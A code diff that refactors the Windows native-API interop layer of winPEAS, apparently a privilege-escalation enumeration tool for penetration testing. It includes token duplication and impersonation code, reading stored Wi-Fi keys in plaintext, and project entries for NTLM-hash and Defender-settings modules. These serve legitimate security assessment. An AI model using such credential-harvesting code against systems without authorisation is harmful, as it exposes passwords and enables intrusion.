public static SafeTokenHandle FromCurrentProcess(AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
||||
{
|
||||
lock (currentProcessToken)
|
||||
{
|
||||
if (currentProcessToken == null)
|
||||
currentProcessToken = FromProcess(NativeMethods.GetCurrentProcess(), desiredAccess);
|
||||
return currentProcessToken;
|
||||
}
|
||||
}
|
||||
|
||||
public static SafeTokenHandle FromCurrentThread(AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true) => FromThread(NativeMethods.GetCurrentThread(), desiredAccess, openAsSelf);
|
||||
|
||||
public static SafeTokenHandle FromProcess(IntPtr hProcess, AccessTypes desiredAccess = AccessTypes.TokenDuplicate)
|
||||
{
|
||||
SafeTokenHandle val;
|
||||
if (!NativeMethods.OpenProcessToken(hProcess, desiredAccess, out val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
return val;
|
||||
}
|
||||
|
||||
public static SafeTokenHandle FromThread(IntPtr hThread, AccessTypes desiredAccess = AccessTypes.TokenDuplicate, bool openAsSelf = true)
|
||||
{
|
||||
SafeTokenHandle val;
|
||||
if (!NativeMethods.OpenThreadToken(hThread, desiredAccess, openAsSelf, out val))
|
||||
{
|
||||
if (Marshal.GetLastWin32Error() == ERROR_NO_TOKEN)
|
||||
{
|
||||
SafeTokenHandle pval = FromCurrentProcess();
|
||||
if (!NativeMethods.DuplicateTokenEx(pval, AccessTypes.TokenImpersonate | desiredAccess, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.Impersonation, TokenType.TokenImpersonation, ref val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
if (!NativeMethods.SetThreadToken(IntPtr.Zero, val))
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
}
|
||||
else
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
}
|
||||
return val;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,63 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
{
|
||||
internal static partial class NativeMethods
|
||||
{
|
||||
const string KERNEL32 = "Kernel32.dll";
|
||||
|
||||
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success), DllImport(KERNEL32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport(KERNEL32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport(KERNEL32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
/// <summary>
|
||||
/// The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block.
|
||||
/// GlobalLock function increments the lock count by one.
|
||||
/// Needed for the clipboard functions when getting the data from IDataObject
|
||||
/// </summary>
|
||||
/// <param name="hMem"></param>
|
||||
/// <returns></returns>
|
||||
[DllImport(KERNEL32, SetLastError = true)]
|
||||
public static extern IntPtr GlobalLock(IntPtr hMem);
|
||||
|
||||
/// <summary>
|
||||
/// The GlobalUnlock function decrements the lock count associated with a memory object.
|
||||
/// </summary>
|
||||
/// <param name="hMem"></param>
|
||||
/// <returns></returns>
|
||||
[DllImport(KERNEL32, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GlobalUnlock(IntPtr hMem);
|
||||
|
||||
[DllImport(KERNEL32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern IntPtr LoadLibrary(string filename);
|
||||
|
||||
[DllImport(KERNEL32, CharSet = CharSet.Auto, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool FreeLibrary(IntPtr lib);
|
||||
|
||||
public partial class SafeTokenHandle : Microsoft.Win32.SafeHandles.SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
private SafeTokenHandle() : base(true) { }
|
||||
|
||||
internal SafeTokenHandle(IntPtr handle, bool own = true) : base(own)
|
||||
{
|
||||
SetHandle(handle);
|
||||
}
|
||||
|
||||
protected override bool ReleaseHandle() => CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,18 +1,14 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
{
|
||||
internal static partial class NativeMethods
|
||||
{
|
||||
private const string NTDSAPI = "ntdsapi.dll";
|
||||
|
||||
internal static partial class NativeMethods
|
||||
{
|
||||
/// <summary>
|
||||
/// Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function.
|
||||
/// </summary>
|
||||
@ -41,65 +37,7 @@ namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
|
||||
///<summary>The name is from an external trusted forest.</summary>
|
||||
DS_NAME_ERROR_TRUST_REFERRAL = 7
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function.
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum DS_NAME_FLAGS
|
||||
{
|
||||
/// <summary>Indicate that there are no associated flags.</summary>
|
||||
DS_NAME_NO_FLAGS = 0x0,
|
||||
|
||||
///<summary>Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX.</summary>
|
||||
DS_NAME_FLAG_SYNTACTICAL_ONLY = 0x1,
|
||||
|
||||
///<summary>Force a trip to the DC for evaluation, even if this could be locally cracked syntactically.</summary>
|
||||
DS_NAME_FLAG_EVAL_AT_DC = 0x2,
|
||||
|
||||
///<summary>The call fails if the domain controller is not a global catalog server.</summary>
|
||||
DS_NAME_FLAG_GCVERIFY = 0x4,
|
||||
|
||||
///<summary>Enable cross forest trust referral.</summary>
|
||||
DS_NAME_FLAG_TRUST_REFERRAL = 0x8
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Provides formats to use for input and output names for the DsCrackNames function.
|
||||
/// </summary>
|
||||
public enum DS_NAME_FORMAT
|
||||
{
|
||||
///<summary>Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown.</summary>
|
||||
DS_UNKNOWN_NAME = 0,
|
||||
|
||||
///<summary>Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com"</summary>
|
||||
DS_FQDN_1779_NAME = 1,
|
||||
|
||||
///<summary>Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\).</summary>
|
||||
DS_NT4_ACCOUNT_NAME = 2,
|
||||
|
||||
///<summary>Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN).</summary>
|
||||
DS_DISPLAY_NAME = 3,
|
||||
|
||||
///<summary>Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}"</summary>
|
||||
DS_UNIQUE_ID_NAME = 6,
|
||||
|
||||
///<summary>Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/).</summary>
|
||||
DS_CANONICAL_NAME = 7,
|
||||
|
||||
///<summary>Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com"</summary>
|
||||
DS_USER_PRINCIPAL_NAME = 8,
|
||||
|
||||
///<summary>This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone"</summary>
|
||||
DS_CANONICAL_NAME_EX = 9,
|
||||
|
||||
///<summary>Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com"</summary>
|
||||
DS_SERVICE_PRINCIPAL_NAME = 10,
|
||||
|
||||
///<summary>Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501"</summary>
|
||||
DS_SID_OR_SID_HISTORY_NAME = 11,
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Class that provides methods against a AD domain service.
|
||||
@ -118,7 +56,7 @@ namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
/// <exception cref="System.ComponentModel.Win32Exception"></exception>
|
||||
public DomainService(string domainControllerName = null, string dnsDomainName = null)
|
||||
{
|
||||
DsBind(domainControllerName, dnsDomainName, out handle);
|
||||
Ntdsapi.DsBind(domainControllerName, dnsDomainName, out handle);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
@ -146,7 +84,7 @@ namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
public DS_NAME_RESULT_ITEM[] CrackNames(string[] names = null, DS_NAME_FLAGS flags = DS_NAME_FLAGS.DS_NAME_NO_FLAGS, DS_NAME_FORMAT formatOffered = DS_NAME_FORMAT.DS_UNKNOWN_NAME, DS_NAME_FORMAT formatDesired = DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME)
|
||||
{
|
||||
IntPtr pResult;
|
||||
uint err = DsCrackNames(handle, flags, formatOffered, formatDesired, (uint)(names?.Length ?? 0), names, out pResult);
|
||||
uint err = Ntdsapi.DsCrackNames(handle, flags, formatOffered, formatDesired, (uint)(names?.Length ?? 0), names, out pResult);
|
||||
if (err != (uint)DS_NAME_ERROR.DS_NAME_NO_ERROR)
|
||||
throw new System.ComponentModel.Win32Exception((int)err);
|
||||
try
|
||||
@ -157,38 +95,18 @@ namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
}
|
||||
finally
|
||||
{
|
||||
DsFreeNameResult(pResult);
|
||||
Ntdsapi.DsFreeNameResult(pResult);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
uint ret = DsUnBind(ref handle);
|
||||
uint ret = Ntdsapi.DsUnBind(ref handle);
|
||||
System.Diagnostics.Debug.WriteLineIf(ret != 0, "Error unbinding :\t" + ret.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport(NTDSAPI, CharSet = CharSet.Auto, PreserveSig = false)]
|
||||
public static extern void DsBind(
|
||||
string DomainControllerName, // in, optional
|
||||
string DnsDomainName, // in, optional
|
||||
out IntPtr phDS);
|
||||
|
||||
[DllImport(NTDSAPI, CharSet = CharSet.Auto)]
|
||||
public static extern uint DsCrackNames(
|
||||
IntPtr hDS,
|
||||
DS_NAME_FLAGS flags,
|
||||
DS_NAME_FORMAT formatOffered,
|
||||
DS_NAME_FORMAT formatDesired,
|
||||
uint cNames,
|
||||
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.LPTStr, SizeParamIndex = 4)] string[] rpNames,
|
||||
out IntPtr ppResult);
|
||||
|
||||
[DllImport(NTDSAPI, CharSet = CharSet.Auto)]
|
||||
public static extern void DsFreeNameResult(IntPtr pResult /* DS_NAME_RESULT* */);
|
||||
|
||||
[DllImport(NTDSAPI, CharSet = CharSet.Auto)]
|
||||
public static extern uint DsUnBind(ref IntPtr phDS);
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||
public struct DS_NAME_RESULT
|
||||
|
@ -1,54 +1,14 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
{
|
||||
internal static partial class NativeMethods
|
||||
internal static partial class NativeMethods
|
||||
{
|
||||
const int MAX_PREFERRED_LENGTH = -1;
|
||||
|
||||
[Flags]
|
||||
public enum ServerTypes : uint
|
||||
{
|
||||
Workstation = 0x00000001,
|
||||
Server = 0x00000002,
|
||||
SqlServer = 0x00000004,
|
||||
DomainCtrl = 0x00000008,
|
||||
BackupDomainCtrl = 0x00000010,
|
||||
TimeSource = 0x00000020,
|
||||
AppleFilingProtocol = 0x00000040,
|
||||
Novell = 0x00000080,
|
||||
DomainMember = 0x00000100,
|
||||
PrintQueueServer = 0x00000200,
|
||||
DialinServer = 0x00000400,
|
||||
XenixServer = 0x00000800,
|
||||
UnixServer = 0x00000800,
|
||||
NT = 0x00001000,
|
||||
WindowsForWorkgroups = 0x00002000,
|
||||
MicrosoftFileAndPrintServer = 0x00004000,
|
||||
NTServer = 0x00008000,
|
||||
BrowserService = 0x00010000,
|
||||
BackupBrowserService = 0x00020000,
|
||||
MasterBrowserService = 0x00040000,
|
||||
DomainMaster = 0x00080000,
|
||||
OSF1Server = 0x00100000,
|
||||
VMSServer = 0x00200000,
|
||||
Windows = 0x00400000,
|
||||
DFS = 0x00800000,
|
||||
NTCluster = 0x01000000,
|
||||
TerminalServer = 0x02000000,
|
||||
VirtualNTCluster = 0x04000000,
|
||||
DCE = 0x10000000,
|
||||
AlternateTransport = 0x20000000,
|
||||
LocalListOnly = 0x40000000,
|
||||
PrimaryDomain = 0x80000000,
|
||||
All = 0xFFFFFFFF
|
||||
};
|
||||
const int MAX_PREFERRED_LENGTH = -1;
|
||||
|
||||
public enum ServerPlatform
|
||||
{
|
||||
@ -57,32 +17,13 @@ namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
NT = 500,
|
||||
OSF = 600,
|
||||
VMS = 700
|
||||
}
|
||||
|
||||
[DllImport("Netapi32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern int NetServerGetInfo(string serverName, int level, out IntPtr pSERVER_INFO_XXX);
|
||||
|
||||
[DllImport("Netapi32", CharSet = CharSet.Auto, SetLastError = true), SuppressUnmanagedCodeSecurityAttribute]
|
||||
private static extern int NetServerEnum(
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string servernane, // must be null
|
||||
int level,
|
||||
out IntPtr bufptr,
|
||||
int prefmaxlen,
|
||||
out int entriesread,
|
||||
out int totalentries,
|
||||
ServerTypes servertype,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string domain, // null for login domain
|
||||
IntPtr resume_handle // Must be IntPtr.Zero
|
||||
);
|
||||
|
||||
[DllImport("Netapi32", SetLastError = true), SuppressUnmanagedCodeSecurityAttribute]
|
||||
private static extern int NetApiBufferFree(IntPtr pBuf);
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SERVER_INFO_100
|
||||
{
|
||||
public ServerPlatform PlatformId;
|
||||
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string Name;
|
||||
}
|
||||
|
||||
@ -157,14 +98,14 @@ namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
int entriesRead, totalEntries;
|
||||
IntPtr resumeHandle = IntPtr.Zero;
|
||||
|
||||
int ret = NetServerEnum(null, level, out bufptr, MAX_PREFERRED_LENGTH, out entriesRead, out totalEntries, serverTypes, domain, resumeHandle);
|
||||
int ret = Netapi32.NetServerEnum(null, level, out bufptr, MAX_PREFERRED_LENGTH, out entriesRead, out totalEntries, serverTypes, domain, resumeHandle);
|
||||
if (ret == 0)
|
||||
return InteropUtil.ToArray<T>(bufptr, entriesRead);
|
||||
throw new System.ComponentModel.Win32Exception(ret);
|
||||
}
|
||||
finally
|
||||
{
|
||||
NetApiBufferFree(bufptr);
|
||||
Netapi32.NetApiBufferFree(bufptr);
|
||||
}
|
||||
}
|
||||
|
||||
@ -176,15 +117,20 @@ namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
int ret = NetServerGetInfo(serverName, level, out ptr);
|
||||
if (ret != 0)
|
||||
throw new System.ComponentModel.Win32Exception(ret);
|
||||
int ret = Netapi32.NetServerGetInfo(serverName, level, out ptr);
|
||||
if (ret != 0)
|
||||
{
|
||||
throw new System.ComponentModel.Win32Exception(ret);
|
||||
}
|
||||
|
||||
return (T)Marshal.PtrToStructure(ptr, typeof(T));
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (ptr != IntPtr.Zero)
|
||||
NetApiBufferFree(ptr);
|
||||
if (ptr != IntPtr.Zero)
|
||||
{
|
||||
Netapi32.NetApiBufferFree(ptr);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,9 +1,5 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.TaskScheduler.TaskEditor.Native
|
||||
{
|
||||
|
@ -6,6 +6,8 @@ using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Classes;
|
||||
using winPEAS.TaskScheduler.TaskEditor.Native;
|
||||
|
||||
namespace winPEAS.TaskScheduler
|
||||
@ -27,7 +29,7 @@ namespace winPEAS.TaskScheduler
|
||||
#else
|
||||
private WindowsImpersonationContext impersonationContext = null;
|
||||
#endif
|
||||
NativeMethods.SafeTokenHandle token;
|
||||
SafeTokenHandle token;
|
||||
private WindowsIdentity identity = null;
|
||||
|
||||
/// <summary>
|
||||
@ -46,7 +48,7 @@ namespace winPEAS.TaskScheduler
|
||||
}
|
||||
else
|
||||
{
|
||||
if (NativeMethods.LogonUser(userName, domainName, password, domainName == null ? LOGON_TYPE_NEW_CREDENTIALS : LOGON32_LOGON_INTERACTIVE, domainName == null ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, out token) != 0)
|
||||
if (Advapi32.LogonUser(userName, domainName, password, domainName == null ? LOGON_TYPE_NEW_CREDENTIALS : LOGON32_LOGON_INTERACTIVE, domainName == null ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, out token) != 0)
|
||||
{
|
||||
#if NETSTANDARD || NETCOREAPP
|
||||
if (!NativeMethods.ImpersonateLoggedOnUser(token.DangerousGetHandle()))
|
||||
@ -65,21 +67,19 @@ namespace winPEAS.TaskScheduler
|
||||
|
||||
public string AuthenticationType => identity?.AuthenticationType;
|
||||
|
||||
public bool IsAuthenticated => identity == null ? false : identity.IsAuthenticated;
|
||||
public bool IsAuthenticated => identity != null && identity.IsAuthenticated;
|
||||
|
||||
public string Name => identity == null ? null : identity.Name;
|
||||
public string Name => identity?.Name;
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
#if NETSTANDARD || NETCOREAPP
|
||||
NativeMethods.RevertToSelf();
|
||||
#else
|
||||
if (impersonationContext != null)
|
||||
impersonationContext.Undo();
|
||||
impersonationContext?.Undo();
|
||||
#endif
|
||||
token?.Dispose();
|
||||
if (identity != null)
|
||||
identity.Dispose();
|
||||
}
|
||||
identity?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -13,52 +13,7 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
public const uint WLAN_CLIENT_VERSION_LONGHORN = 2;
|
||||
public const uint WLAN_MAX_NAME_LENGTH = 256;
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
public static extern int WlanOpenHandle(
|
||||
[In] UInt32 clientVersion,
|
||||
[In, Out] IntPtr pReserved,
|
||||
[Out] out UInt32 negotiatedVersion,
|
||||
[Out] out IntPtr clientHandle);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
public static extern int WlanCloseHandle(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, Out] IntPtr pReserved);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
public static extern int WlanEnumInterfaces(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, Out] IntPtr pReserved,
|
||||
[Out] out IntPtr ppInterfaceList);
|
||||
|
||||
/// <param name="flags">Not supported on Windows XP SP2: must be a <c>null</c> reference.</param>
|
||||
[DllImport("wlanapi.dll")]
|
||||
public static extern int WlanGetProfile(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,
|
||||
[In, MarshalAs(UnmanagedType.LPWStr)] string profileName,
|
||||
[In] IntPtr pReserved,
|
||||
[Out] out IntPtr profileXml,
|
||||
[Out, Optional] out WlanProfileFlags flags,
|
||||
[Out, Optional] out WlanAccess grantedAccess);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
public static extern int WlanGetProfileList(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,
|
||||
[In] IntPtr pReserved,
|
||||
[Out] out IntPtr profileList
|
||||
);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
public static extern void WlanFreeMemory(IntPtr pMemory);
|
||||
|
||||
[DllImport("wlanapi.dll")]
|
||||
public static extern int WlanConnect(
|
||||
[In] IntPtr clientHandle,
|
||||
[In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid,
|
||||
[In] ref WlanConnectionParameters connectionParameters,
|
||||
IntPtr pReserved);
|
||||
|
||||
#endregion
|
||||
|
||||
|
@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Wifi.NativeWifiApi
|
||||
{
|
||||
@ -30,7 +31,7 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
{
|
||||
var flags = unencryptedPassword ? WlanProfileFlags.GetPlaintextKey : WlanProfileFlags.None;
|
||||
Wlan.ThrowIfError(
|
||||
Wlan.WlanGetProfile(
|
||||
WlanApi.WlanGetProfile(
|
||||
client.clientHandle, info.interfaceGuid, profileName, IntPtr.Zero, out var profileXmlPtr, out flags, out _));
|
||||
|
||||
try
|
||||
@ -39,7 +40,7 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
}
|
||||
finally
|
||||
{
|
||||
Wlan.WlanFreeMemory(profileXmlPtr);
|
||||
WlanApi.WlanFreeMemory(profileXmlPtr);
|
||||
}
|
||||
}
|
||||
|
||||
@ -50,7 +51,7 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
public WlanProfileInfo[] GetProfiles()
|
||||
{
|
||||
Wlan.ThrowIfError(
|
||||
Wlan.WlanGetProfileList(client.clientHandle, info.interfaceGuid, IntPtr.Zero, out var profileListPtr));
|
||||
WlanApi.WlanGetProfileList(client.clientHandle, info.interfaceGuid, IntPtr.Zero, out var profileListPtr));
|
||||
try
|
||||
{
|
||||
var header =
|
||||
@ -70,7 +71,7 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
}
|
||||
finally
|
||||
{
|
||||
Wlan.WlanFreeMemory(profileListPtr);
|
||||
WlanApi.WlanFreeMemory(profileListPtr);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -83,13 +84,13 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
public WlanClient()
|
||||
{
|
||||
Wlan.ThrowIfError(
|
||||
Wlan.WlanOpenHandle(
|
||||
WlanApi.WlanOpenHandle(
|
||||
Wlan.WLAN_CLIENT_VERSION_XP_SP2, IntPtr.Zero, out negotiatedVersion, out clientHandle));
|
||||
}
|
||||
|
||||
~WlanClient()
|
||||
{
|
||||
Wlan.WlanCloseHandle(clientHandle, IntPtr.Zero);
|
||||
WlanApi.WlanCloseHandle(clientHandle, IntPtr.Zero);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
@ -101,7 +102,7 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
get
|
||||
{
|
||||
Wlan.ThrowIfError(
|
||||
Wlan.WlanEnumInterfaces(
|
||||
WlanApi.WlanEnumInterfaces(
|
||||
clientHandle, IntPtr.Zero, out var ifaceList));
|
||||
|
||||
try
|
||||
@ -151,7 +152,7 @@ namespace winPEAS.Wifi.NativeWifiApi
|
||||
}
|
||||
finally
|
||||
{
|
||||
Wlan.WlanFreeMemory(ifaceList);
|
||||
WlanApi.WlanFreeMemory(ifaceList);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -374,6 +374,7 @@
|
||||
<Compile Include="Checks\FilesInfo.cs" />
|
||||
<Compile Include="Checks\Globals.cs" />
|
||||
<Compile Include="Checks\ISystemCheck.cs" />
|
||||
<Compile Include="Checks\EventsInfo.cs" />
|
||||
<Compile Include="Checks\NetworkInfo.cs" />
|
||||
<Compile Include="Checks\ProcessInfo.cs" />
|
||||
<Compile Include="Checks\ServicesInfo.cs" />
|
||||
@ -400,6 +401,15 @@
|
||||
<Compile Include="Info\ApplicationInfo\DeviceDrivers.cs" />
|
||||
<Compile Include="Info\ApplicationInfo\InstalledApps.cs" />
|
||||
<Compile Include="Helpers\Beaprint.cs" />
|
||||
<Compile Include="Info\EventsInfo\Logon\ExplicitLogonEventInfo.cs" />
|
||||
<Compile Include="Info\EventsInfo\Logon\Logon.cs" />
|
||||
<Compile Include="Info\EventsInfo\Logon\LogonEventInfo.cs" />
|
||||
<Compile Include="Info\EventsInfo\Logon\LogonInfo.cs" />
|
||||
<Compile Include="Info\EventsInfo\PowerShell\PowerShell.cs" />
|
||||
<Compile Include="Info\EventsInfo\PowerShell\PowerShellEventInfo.cs" />
|
||||
<Compile Include="Info\EventsInfo\Common.cs" />
|
||||
<Compile Include="Info\EventsInfo\ProcessCreation\ProcessCreation.cs" />
|
||||
<Compile Include="Info\EventsInfo\ProcessCreation\ProcessCreationEventInfo.cs" />
|
||||
<Compile Include="Info\NetworkInfo\Enums\IPVersion.cs" />
|
||||
<Compile Include="Info\NetworkInfo\Enums\MibTcpState.cs" />
|
||||
<Compile Include="Info\NetworkInfo\Enums\Protocol.cs" />
|
||||
@ -427,6 +437,11 @@
|
||||
<Compile Include="Info\SystemInfo\SysMon\SysmonHashAlgorithm.cs" />
|
||||
<Compile Include="Info\SystemInfo\SysMon\SysmonInfo.cs" />
|
||||
<Compile Include="Info\SystemInfo\SysMon\SysmonOptions.cs" />
|
||||
<Compile Include="Info\SystemInfo\WindowsDefender\AsrRule.cs" />
|
||||
<Compile Include="Info\SystemInfo\WindowsDefender\AsrSettings.cs" />
|
||||
<Compile Include="Info\SystemInfo\WindowsDefender\WindowsDefender.cs" />
|
||||
<Compile Include="Info\SystemInfo\WindowsDefender\WindowsDefenderSettings.cs" />
|
||||
<Compile Include="Info\SystemInfo\WindowsDefender\WindowsDefenderSettingsInfo.cs" />
|
||||
<Compile Include="Info\UserInfo\LogonSessions\LogonSessions.cs" />
|
||||
<Compile Include="Info\UserInfo\LogonSessions\LogonSessionsInfo.cs" />
|
||||
<Compile Include="InterestingFiles\GPP.cs" />
|
||||
@ -454,6 +469,10 @@
|
||||
<Compile Include="KnownFileCreds\KnownFileCredsInfo.cs" />
|
||||
<Compile Include="KnownFileCreds\Putty.cs" />
|
||||
<Compile Include="KnownFileCreds\RemoteDesktop.cs" />
|
||||
<Compile Include="KnownFileCreds\SecurityPackages\NtlmHashInfo.cs" />
|
||||
<Compile Include="KnownFileCreds\SecurityPackages\SecBuffer.cs" />
|
||||
<Compile Include="KnownFileCreds\SecurityPackages\SecBufferDesc.cs" />
|
||||
<Compile Include="KnownFileCreds\SecurityPackages\SecurityPackages.cs" />
|
||||
<Compile Include="KnownFileCreds\Slack\Slack.cs" />
|
||||
<Compile Include="KnownFileCreds\SuperPutty\SuperPutty.cs" />
|
||||
<Compile Include="KnownFileCreds\Vault\Enums\VAULT_ELEMENT_TYPE.cs" />
|
||||
@ -471,6 +490,41 @@
|
||||
<Compile Include="Info\UserInfo\Token\Structs.cs" />
|
||||
<Compile Include="Info\UserInfo\Token\Token.cs" />
|
||||
<Compile Include="Info\UserInfo\User.cs" />
|
||||
<Compile Include="Native\Advapi32.cs" />
|
||||
<Compile Include="Native\Classes\SafeTokenHandle.cs" />
|
||||
<Compile Include="Native\Classes\UNICODE_STRING.cs" />
|
||||
<Compile Include="Native\Enums\AccessTypes.cs" />
|
||||
<Compile Include="Native\Enums\CredentialType.cs" />
|
||||
<Compile Include="Native\Enums\DS_NAME_FLAGS.cs" />
|
||||
<Compile Include="Native\Enums\DS_NAME_FORMAT.cs" />
|
||||
<Compile Include="Native\Enums\NetJoinStatus.cs" />
|
||||
<Compile Include="Native\Enums\PrivilegeAttributes.cs" />
|
||||
<Compile Include="Native\Enums\SECURITY_IMPERSONATION_LEVEL.cs" />
|
||||
<Compile Include="Native\Enums\SECURITY_LOGON_TYPE.cs" />
|
||||
<Compile Include="Native\Enums\ServerTypes.cs" />
|
||||
<Compile Include="Native\Enums\SE_OBJECT_TYPE.cs" />
|
||||
<Compile Include="Native\Enums\TokenType.cs" />
|
||||
<Compile Include="Native\Enums\TOKEN_ELEVATION_TYPE.cs" />
|
||||
<Compile Include="Native\Enums\TOKEN_INFORMATION_CLASS.cs" />
|
||||
